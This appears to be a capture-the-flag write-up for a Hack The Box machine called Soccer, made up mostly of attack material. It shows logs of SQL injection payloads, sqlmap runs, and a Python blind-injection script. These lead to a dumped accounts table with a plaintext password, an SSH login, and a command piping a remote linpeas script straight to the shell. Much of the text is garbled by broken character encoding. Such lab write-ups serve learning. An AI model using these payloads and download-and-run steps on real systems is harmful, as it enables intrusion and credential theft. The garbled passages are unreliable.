127.0.0.1 - - [05/mar/2023 11:41:18] "get /?id=1) and 4511 in (select (char(113)+char(107)+char(98)+char(122)+char(113)+(select (case when (4511=4511) then char(49) else char(48) end))+char(113)+char(113)+char(106)+char(106)+char(113))) and (7785=7785 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:21] "get /?id=1 and 4511 in (select (char(113)+char(107)+char(98)+char(122)+char(113)+(select (case when (4511=4511) then char(49) else char(48) end))+char(113)+char(113)+char(106)+char(106)+char(113))) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:25] "get /?id=1 and 4511 in (select (char(113)+char(107)+char(98)+char(122)+char(113)+(select (case when (4511=4511) then char(49) else char(48) end))+char(113)+char(113)+char(106)+char(106)+char(113)))-- ngvp http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:29] "get /?id=1') and 4511 in (select (char(113)+char(107)+char(98)+char(122)+char(113)+(select (case when (4511=4511) then char(49) else char(48) end))+char(113)+char(113)+char(106)+char(106)+char(113))) and ('fmfx'='fmfx http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:32] "get /?id=1' and 4511 in (select (char(113)+char(107)+char(98)+char(122)+char(113)+(select (case when (4511=4511) then char(49) else char(48) end))+char(113)+char(113)+char(106)+char(106)+char(113))) and 'wosp'='wosp http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:35] "get /?id=1) and 1250=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(107)||chr(98)||chr(122)||chr(113)||(select (case when (1250=1250) then 1 else 0 end) from dual)||chr(113)||chr(113)||chr(106)||chr(106)||chr(113)||chr(62))) from dual) and (8326=8326 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:44] "get /?id=1 and 1250=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(107)||chr(98)||chr(122)||chr(113)||(select (case when (1250=1250) then 1 else 0 end) from dual)||chr(113)||chr(113)||chr(106)||chr(106)||chr(113)||chr(62))) from dual) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:49] "get /?id=1 and 1250=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(107)||chr(98)||chr(122)||chr(113)||(select (case when (1250=1250) then 1 else 0 end) from dual)||chr(113)||chr(113)||chr(106)||chr(106)||chr(113)||chr(62))) from dual)-- igwg http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:53] "get /?id=1') and 1250=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(107)||chr(98)||chr(122)||chr(113)||(select (case when (1250=1250) then 1 else 0 end) from dual)||chr(113)||chr(113)||chr(106)||chr(106)||chr(113)||chr(62))) from dual) and ('xkdt'='xkdt http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:41:58] "get /?id=1' and 1250=(select upper(xmltype(chr(60)||chr(58)||chr(113)||chr(107)||chr(98)||chr(122)||chr(113)||(select (case when (1250=1250) then 1 else 0 end) from dual)||chr(113)||chr(113)||chr(106)||chr(106)||chr(113)||chr(62))) from dual) and 'qhru'='qhru http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:04] "get /?id=(select concat(concat('qkbzq',(case when (8028=8028) then '1' else '0' end)),'qqjjq')) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:09] "get /?id=1 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:13] "get /?id=1);select pg_sleep(5)-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:22] "get /?id=1;select pg_sleep(5)-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:28] "get /?id=1');select pg_sleep(5)-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:32] "get /?id=1';select pg_sleep(5)-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:36] "get /?id=1);waitfor delay '0:0:5'-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:40] "get /?id=1;waitfor delay '0:0:5'-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:44] "get /?id=1');waitfor delay '0:0:5'-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:49] "get /?id=1';waitfor delay '0:0:5'-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:42:58] "get /?id=1);select dbms_pipe.receive_message(chr(76)||chr(77)||chr(105)||chr(113),5) from dual-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:04] "get /?id=1;select dbms_pipe.receive_message(chr(76)||chr(77)||chr(105)||chr(113),5) from dual-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:09] "get /?id=1');select dbms_pipe.receive_message(chr(76)||chr(77)||chr(105)||chr(113),5) from dual-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:16] "get /?id=1';select dbms_pipe.receive_message(chr(76)||chr(77)||chr(105)||chr(113),5) from dual-- http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:20] "get /?id=1) and (select 3123 from (select(sleep(5)))dzpr) and (4161=4161 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:30] "get /?id=1 and (select 3123 from (select(sleep(5)))dzpr) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:39] "get /?id=1 and (select 3123 from (select(sleep(5)))dzpr)-- pyzb http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:47] "get /?id=1') and (select 3123 from (select(sleep(5)))dzpr) and ('awgx'='awgx http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:51] "get /?id=1' and (select 3123 from (select(sleep(5)))dzpr) and 'msuw'='msuw http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:54] "get /?id=1) and 6928=(select 6928 from pg_sleep(5)) and (3450=3450 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:43:58] "get /?id=1 and 6928=(select 6928 from pg_sleep(5)) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:05] "get /?id=1 and 6928=(select 6928 from pg_sleep(5))-- alxw http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:09] "get /?id=1') and 6928=(select 6928 from pg_sleep(5)) and ('phjg'='phjg http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:13] "get /?id=1' and 6928=(select 6928 from pg_sleep(5)) and 'sugf'='sugf http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:17] "get /?id=1) waitfor delay '0:0:5' and (2874=2874 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:21] "get /?id=1 waitfor delay '0:0:5' http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:25] "get /?id=1 waitfor delay '0:0:5'-- lcpo http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:29] "get /?id=1') waitfor delay '0:0:5' and ('fvna'='fvna http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:33] "get /?id=1' waitfor delay '0:0:5' and 'axhq'='axhq http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:37] "get /?id=1) and 2581=dbms_pipe.receive_message(chr(72)||chr(84)||chr(112)||chr(66),5) and (3643=3643 http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:44] "get /?id=1 and 2581=dbms_pipe.receive_message(chr(72)||chr(84)||chr(112)||chr(66),5) http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:48] "get /?id=1 and 2581=dbms_pipe.receive_message(chr(72)||chr(84)||chr(112)||chr(66),5)-- umol http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:52] "get /?id=1') and 2581=dbms_pipe.receive_message(chr(72)||chr(84)||chr(112)||chr(66),5) and ('gqht'='gqht http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:44:56] "get /?id=1' and 2581=dbms_pipe.receive_message(chr(72)||chr(84)||chr(112)||chr(66),5) and 'vnil'='vnil http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:46:18] "get /?id=1) order by 1-- eayw http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:46:23] "get /?id=1) order by 4299-- hcgh http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:46:35] "get /?id=1 order by 1-- uolg http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:46:58] "get /?id=1 order by 5403-- krxs http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:47:12] "get /?id=1 order by 1-- vipb http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:47:24] "get /?id=1 order by 1950-- hlcp http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:47:28] "get /?id=1') order by 1-- cevj http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:47:32] "get /?id=1') order by 4026-- luyc http/1.1" 200 -
127.0.0.1 - - [05/mar/2023 11:47:36] "get /?id=1' order by 1-- smzk http/1.1" 200 -
try op by hand
for this i try sqlmap manymany times锛宐ut i can鈥檛 get the data
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b
___
__h__
___ ___[.]_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:49:15 /2023-03-19/
[12:49:15] [info] testing connection to the target url
[12:49:20] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
[12:49:20] [info] testing if the target url content is stable
[12:49:24] [info] target url content is stable
[12:49:27] [warning] heuristic (basic) test shows that get parameter 'id' might not be injectable
[12:49:30] [info] testing for sql injection on get parameter 'id'
[12:49:30] [info] testing 'and boolean-based blind - where or having clause'
[12:49:50] [info] testing 'boolean-based blind - parameter replace (original value)'
[12:49:53] [warning] get parameter 'id' does not seem to be injectable
[12:49:53] [critical] all tested parameters do not appear to be injectable. try to increase values for '--level'/'--risk' options if you wish to perform more tests. rerun without providing the option '--technique'. if you suspect that there is some kind of protection mechanism involved (e.g. waf) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[*] ending @ 12:49:53 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --level 5
___
__h__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 12:50:02 /2023-03-19/
[12:50:02] [info] testing connection to the target url
[12:50:05] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
[12:50:05] [info] testing if the target url content is stable
[12:50:08] [info] target url content is stable
[12:50:12] [warning] heuristic (basic) test shows that get parameter 'id' might not be injectable
[12:50:15] [info] testing for sql injection on get parameter 'id'
[12:50:15] [info] testing 'and boolean-based blind - where or having clause'
[12:50:41] [warning] user aborted during detection phase
how do you want to proceed? [(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] quit
[12:50:43] [info] testing 'and boolean-based blind - where or having clause (subquery - comment)'
[12:50:50] [warning] user aborted during detection phase
quit
[12:50:57] [info] testing 'and boolean-based blind - where or having clause (comment)'
[12:50:59] [warning] user aborted during detection phase
how do you want to proceed? [(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] quit
[12:51:00] [info] testing 'and boolean-based blind - where or having clause (mysql comment)'
[12:51:02] [warning] user aborted during detection phase
how do you want to proceed? [(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit] s
[12:51:03] [info] testing 'and boolean-based blind - where or having clause (microsoft access comment)'
[12:51:05] [warning] user aborted during detection phase
how do you want to proceed? [(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]
[12:51:06] [error] user quit
[*] ending @ 12:51:06 /2023-03-19
so i try python bool blind injection
# -*- coding: utf-8 -*-
import requests
import string
url = " localhost:8081?id=1"
#mark = "ticket exists"
notmark="doesn't"
mark="ticket exists"
database = ''
for i in range(1, 25):
for j in string.ascii_letters:
target = url ' ' ' or if(substr(database(),%d,1)="%s",1,(select table_name from information_schema.tables)) --;' % (i, j)
r = requests.get(target)
if notmark not in r.text:
database = j
print(database)
print(r.text)
break
print('database:', database)
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ python3 bool4soc\ copy.py 1 猕?/p>
s
ticket exists
so
ticket exists
soc
ticket exists
socc
ticket exists
socce
ticket exists
soccer
ticket exists
soccerd
ticket exists
soccerdb
ticket exists
these results make me confident that i can sqlmap it
so i try the command
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists"
___
__h__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:24:33 /2023-03-19/
[13:24:33] [info] testing connection to the target url
[13:24:39] [info] testing if the provided string is within the target url page content
[13:24:39] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[13:24:39] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
[13:24:43] [warning] heuristic (basic) test shows that get parameter 'id' might not be injectable
[13:24:46] [info] testing for sql injection on get parameter 'id'
[13:24:46] [info] testing 'and boolean-based blind - where or having clause'
[13:25:24] [info] testing 'or boolean-based blind - where or having clause'
[13:25:47] [info] get parameter 'id' appears to be 'or boolean-based blind - where or having clause' injectable
[13:27:11] [info] heuristic (extended) test shows that the back-end dbms could be 'mysql'
for the remaining tests, do you want to include all tests for 'mysql' extending provided level (1) value? [y/n] n
[13:35:36] [warning] in or boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[13:35:36] [info] checking if the injection point on get parameter 'id' is a false positive
get parameter 'id' is vulnerable. do you want to keep testing the others (if any)? [y/n] n
sqlmap identified the following injection point(s) with a total of 45 http(s) requests:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[13:36:30] [info] testing mysql
[13:36:36] [info] confirming mysql
[13:36:43] [info] the back-end dbms is mysql
back-end dbms: mysql >= 8.0.0
[13:37:00] [info] fetched data logged to text files under '/home/kwkl/.local/share/sqlmap/output/localhost'
[*] ending @ 13:37:00 /2023-03-19/
continue to try it is too slow
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists"
___
__h__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . [,] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:24:33 /2023-03-19/
[13:24:33] [info] testing connection to the target url
[13:24:39] [info] testing if the provided string is within the target url page content
[13:24:39] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[13:24:39] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
[13:24:43] [warning] heuristic (basic) test shows that get parameter 'id' might not be injectable
[13:24:46] [info] testing for sql injection on get parameter 'id'
[13:24:46] [info] testing 'and boolean-based blind - where or having clause'
[13:25:24] [info] testing 'or boolean-based blind - where or having clause'
[13:25:47] [info] get parameter 'id' appears to be 'or boolean-based blind - where or having clause' injectable
[13:27:11] [info] heuristic (extended) test shows that the back-end dbms could be 'mysql'
for the remaining tests, do you want to include all tests for 'mysql' extending provided level (1) value? [y/n] n
[13:35:36] [warning] in or boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
[13:35:36] [info] checking if the injection point on get parameter 'id' is a false positive
get parameter 'id' is vulnerable. do you want to keep testing the others (if any)? [y/n] n
sqlmap identified the following injection point(s) with a total of 45 http(s) requests:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[13:36:30] [info] testing mysql
[13:36:36] [info] confirming mysql
[13:36:43] [info] the back-end dbms is mysql
back-end dbms: mysql >= 8.0.0
[13:37:00] [info] fetched data logged to text files under '/home/kwkl/.local/share/sqlmap/output/localhost'
[*] ending @ 13:37:00 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists" --dbs
___
__h__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:40:04 /2023-03-19/
[13:40:04] [info] resuming back-end dbms 'mysql'
[13:40:04] [info] testing connection to the target url
[13:40:07] [info] testing if the provided string is within the target url page content
[13:40:07] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[13:40:07] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
sqlmap resumed the following injection point(s) from stored session:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[13:40:07] [info] the back-end dbms is mysql
back-end dbms: mysql 8
[13:40:07] [info] fetching database names
[13:40:07] [info] fetching number of databases
[13:40:14] [warning] running in a single-thread mode. please consider usage of option '--threads' for faster data retrieval
[13:40:14] [info] retrieved: 5
[13:40:40] [info] retrieved: mys^c
[*] ending @ 13:42:09 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists" -d soccerdb --tables
___
__h__
___ ___[)]_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:42:22 /2023-03-19/
[13:42:22] [info] resuming back-end dbms 'mysql'
[13:42:22] [info] testing connection to the target url
[13:42:25] [info] testing if the provided string is within the target url page content
[13:42:25] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[13:42:25] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
sqlmap resumed the following injection point(s) from stored session:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[13:42:25] [info] the back-end dbms is mysql
back-end dbms: mysql 8
[13:42:25] [info] fetching tables for database: 'soccerdb'
[13:42:25] [info] fetching number of tables for database 'soccerdb'
[13:42:28] [warning] running in a single-thread mode. please consider usage of option '--threads' for faster data retrieval
[13:42:28] [info] retrieved: 0
[13:42:56] [warning] database 'soccerdb' appears to be empty
[13:42:56] [error] unable to retrieve the table names for any database
do you want to use common table existence check? [y/n/q] y
which common tables (wordlist) file do you want to use?
[1] default '/usr/share/sqlmap/data/txt/common-tables.txt' (press enter)
[2] custom
>
[13:43:06] [info] performing table existence using items from '/usr/share/sqlmap/data/txt/common-tables.txt'
[13:43:06] [info] adding words used on web page to the check list
[13:43:06] [info] checking database 'soccerdb'
please enter number of threads? [enter for 1 (current)]
[13:43:11] [warning] running in a single-thread mode. this could take a while
[13:43:27] [warning] no table(s) found for database 'soccerdb'
no tables found
[13:43:27] [info] fetched data logged to text files under '/home/kwkl/.local/share/sqlmap/output/localhost'
[*] ending @ 13:43:27 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists" --dump-all
___
__h__
___ ___[,]_____ ___ ___ {1.7.2#stable}
|_ -| . ["] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 13:43:34 /2023-03-19/
[13:43:34] [info] resuming back-end dbms 'mysql'
[13:43:34] [info] testing connection to the target url
[13:43:37] [info] testing if the provided string is within the target url page content
[13:43:37] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[13:43:37] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
sqlmap resumed the following injection point(s) from stored session:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[13:43:37] [info] the back-end dbms is mysql
back-end dbms: mysql 8
[13:43:37] [info] sqlmap will dump entries of all tables from all databases now
[13:43:37] [info] fetching database names
[13:43:37] [info] fetching number of databases
[13:43:41] [info] resumed: 5
[13:43:41] [info] resuming partial value: mys
[13:43:41] [warning] running in a single-thread mode. please consider usage of option '--threads' for faster data retrieval
[13:43:41] [info] retrieved: ql
[13:44:45] [info] retrieved: information_schema
[13:52:18] [info] retrieved: performance_schema
[13:59:45] [info] retrieved: sys
[14:01:13] [info] retrieved: soccer_db
[14:05:20] [info] fetching tables for databases: 'information_schema, mysql, performance_schema, soccer_db, sys'
[14:05:20] [info] fetching number of tables for database 'soccer_db'
[14:05:20] [info] retrieved: 1
[14:05:41] [info] retrieved: accounts
[14:09:06] [info] fetching number of tables for database 'mysql'
[14:09:06] [info] retrieved: 37
[14:09:51] [info] retrieved: c^c
[*] ending @ 14:10:33 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists" -d soccer_db --tables
___
__h__
___ ___[(]_____ ___ ___ {1.7.2#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:10:49 /2023-03-19/
[14:10:49] [info] resuming back-end dbms 'mysql'
[14:10:49] [info] testing connection to the target url
[14:10:54] [info] testing if the provided string is within the target url page content
[14:10:54] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[14:10:54] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
sqlmap resumed the following injection point(s) from stored session:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[14:10:54] [info] the back-end dbms is mysql
back-end dbms: mysql 8
[14:10:54] [info] fetching tables for database: 'soccer_db'
[14:10:54] [info] fetching number of tables for database 'soccer_db'
[14:10:57] [info] resumed: 1
[14:10:57] [info] resumed: accounts
database: soccer_db
[1 table]
----------
| accounts |
----------
[14:10:57] [info] fetched data logged to text files under '/home/kwkl/.local/share/sqlmap/output/localhost'
[*] ending @ 14:10:57 /2023-03-19/
鈹屸攢鈹€(kwkl銐縦wkl)-[~]
鈹斺攢$ sqlmap -u localhost:8081?id=1 -p id --technique=b --risk 3 --string="ticket exists" -d soccer_db -t accounts --dump-all
___
__h__
___ ___[)]_____ ___ ___ {1.7.2#stable}
|_ -| . [.] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|v... |_| sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. it is the end user's responsibility to obey all applicable local, state and federal laws. developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:11:06 /2023-03-19/
[14:11:07] [info] resuming back-end dbms 'mysql'
[14:11:07] [info] testing connection to the target url
[14:11:10] [info] testing if the provided string is within the target url page content
[14:11:10] [warning] you provided 'ticket exists' as the string to match, but such a string is not within the target url raw response, sqlmap will carry on anyway
[14:11:10] [warning] turning off pre-connect mechanism because of incompatible server ('simplehttp/0.6 python/3.10.7')
sqlmap resumed the following injection point(s) from stored session:
---
parameter: id (get)
type: boolean-based blind
title: or boolean-based blind - where or having clause
payload: id=-6478 or 1585=1585
---
[14:11:10] [info] the back-end dbms is mysql
back-end dbms: mysql 8
[14:11:10] [info] sqlmap will dump entries of all tables from all databases now
[14:11:10] [info] fetching tables for database: 'soccer_db'
[14:11:10] [info] fetching number of tables for database 'soccer_db'
[14:11:16] [info] resumed: 1
[14:11:16] [info] resumed: accounts
[14:11:16] [info] fetching columns for table 'accounts' in database 'soccer_db'
[14:11:16] [warning] running in a single-thread mode. please consider usage of option '--threads' for faster data retrieval
[14:11:16] [info] retrieved: 4
[14:11:40] [info] retrieved: email
[14:13:50] [info] retrieved: id
[14:14:51] [info] retrieved: password
[14:18:12] [info] retrieved: username
[14:21:37] [info] fetching entries for table 'accounts' in database 'soccer_db'
[14:21:37] [info] fetching number of entries for table 'accounts' in database 'soccer_db'
[14:21:37] [info] retrieved: 1
[14:22:01] [info] retrieved: player@player.htb
[14:29:32] [info] retrieved: 1324
[14:31:45] [info] retrieved: playerofthematch2022
[14:40:50] [info] retrieved: player
database: soccer_db
table: accounts
[1 entry]
------ ------------------- ---------------------- ----------
| id | email | password | username |
------ ------------------- ---------------------- ----------
| 1324 | player@player.htb | playerofthematch2022 | player |
------ ------------------- ---------------------- ----------
[14:43:23] [info] table 'soccer_db.accounts' dumped to csv file '/home/kwkl/.local/share/sqlmap/output/localhost/dump/soccer_db/accounts.csv'
[14:43:23] [info] fetched data logged to text files under '/home/kwkl/.local/share/sqlmap/output/localhost'
[*] ending @ 14:43:23 /2023-03-19/
try the ssh with using
username player
password playerofthematch2022
login successfully
try the linpeas.sh
from github
curl -l github /carlospolop/peass-ng/releases/latest/download/linpeas.sh | sh
create the site
鈹屸攢鈹€(kwkl銐縦wkl)-[~/hodl/htb/soccer]
鈹斺攢$ python3 -m http.server 3333
serving http on 0.0.0.0 port 3333 ( 0.0.0.0:3333/) ...
10.10.11.194 - - [19/mar/2023 15:07:33] "get /linpeas.sh http/1.1" 200 -
download it
we can execute it and get more and more info
player@soccer:~$ wget 10.10.16.6:3333/linpeas.sh
--2023-03-19 07:07:33-- 10.10.16.6:3333/linpeas.sh
connecting to 10.10.16.6:3333... connected.
http request sent, awaiting response... 200 ok
length: 828172 (809k) [text/x-sh]
saving to: 鈥榣inpeas.sh鈥?/p>
linpeas.sh 100%[===========================================================================================>] 808.76k 102kb/s in 8.4s
2023-03-19 07:07:43 (96.6 kb/s) - 鈥榣inpeas.sh鈥?saved [828172/828172]
player@soccer:~$ chmod x linpeas.sh
player@soccer:~$ ./linpeas.sh
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽
鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽
鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽
鈻勨杽鈻勨杽 鈻?鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽
鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻?/p>
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻?/p>
鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻? 鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽 鈻?/p>
鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽鈻勨杽
鈻勨杽 鈻勨杽鈻?鈻勨杽鈻勨杽鈻? 鈻勨杽鈻?/p>
鈻勨杽 鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽鈻勨杽 鈻勨杽
